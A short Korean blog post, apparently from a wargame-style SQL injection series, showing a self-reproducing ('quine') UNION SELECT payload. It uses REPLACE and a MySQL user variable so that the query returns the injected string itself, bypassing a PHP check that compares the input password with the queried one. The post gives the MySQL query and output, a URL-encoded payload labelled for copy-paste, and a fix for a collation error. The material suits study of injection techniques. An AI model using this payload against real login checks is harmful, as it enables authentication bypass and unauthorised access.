아래와 같이 입력받은 값과 쿼리의 리턴값이 같으면 인증되는 코드가 있다고 하자.
if ($_GET['pw'] === $result['pw'])
echo "<h3> CONG !! </h3>";
mysql> select pw from prob_1 where id='' and pw=''union select REPLACE(@v:='\'union select REPLACE(@v:=\'2\',1+1,REPLACE(REPLACE(@v,\'\\\\\',\'\\\\\\\\\'),\'\\\'\',\'\\\\\\\'\'));',1+1,REPLACE(REPLACE(@v,'\\','\\\\'),'\'','\\\''));
+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| pw |
+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 'union select REPLACE(@v:='\'union select REPLACE(@v:=\'2\',1+1,REPLACE(REPLACE(@v,\'\\\\\',\'\\\\\\\\\'),\'\\\'\',\'\\\\\\\'\'));',1+1,REPLACE(REPLACE(@v,'\\','\\\\'),'\'','\\\'')); |
+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.01 sec)
위 쿼리에서 입력값은 'union select REPLACE~이고, 리턴되는 값도 같음을 확인할 수 있다.
아래는 복붙용
REPLACE(@v:='\'union select 1,REPLACE(@v:=\'2\',1%2b1,REPLACE(REPLACE(@v,\'\\\\\',\'\\\\\\\\\'),\'\\\'\',\'\\\\\\\'\'))%23',1%2b1,REPLACE(REPLACE(@v,'\\','\\\\'),'\'','\\\''))%23
진한 부분에 입력값과 같은 쿼리를 넣어주면 된다.
--------------------------------------------------
ERROR 1271 (HY000): Illegal mix of collations for operation 'UNION'
union 타입 에러가 날 땐 컬럼의 character set을 걍 utf8로 바꿔주자.
mysql> alter table prob_1 modify column pw text character set utf8;
'웹 > SQLi' 카테고리의 다른 글
sqli 필터링 우회 (0) | 2018.10.26 |
---|---|
from 절에서 Injection으로 데이터 추출 (0) | 2018.07.28 |
SQLite에서 information_schema (0) | 2017.03.02 |
SQL Injection 필터링 우회 (1) | 2017.01.08 |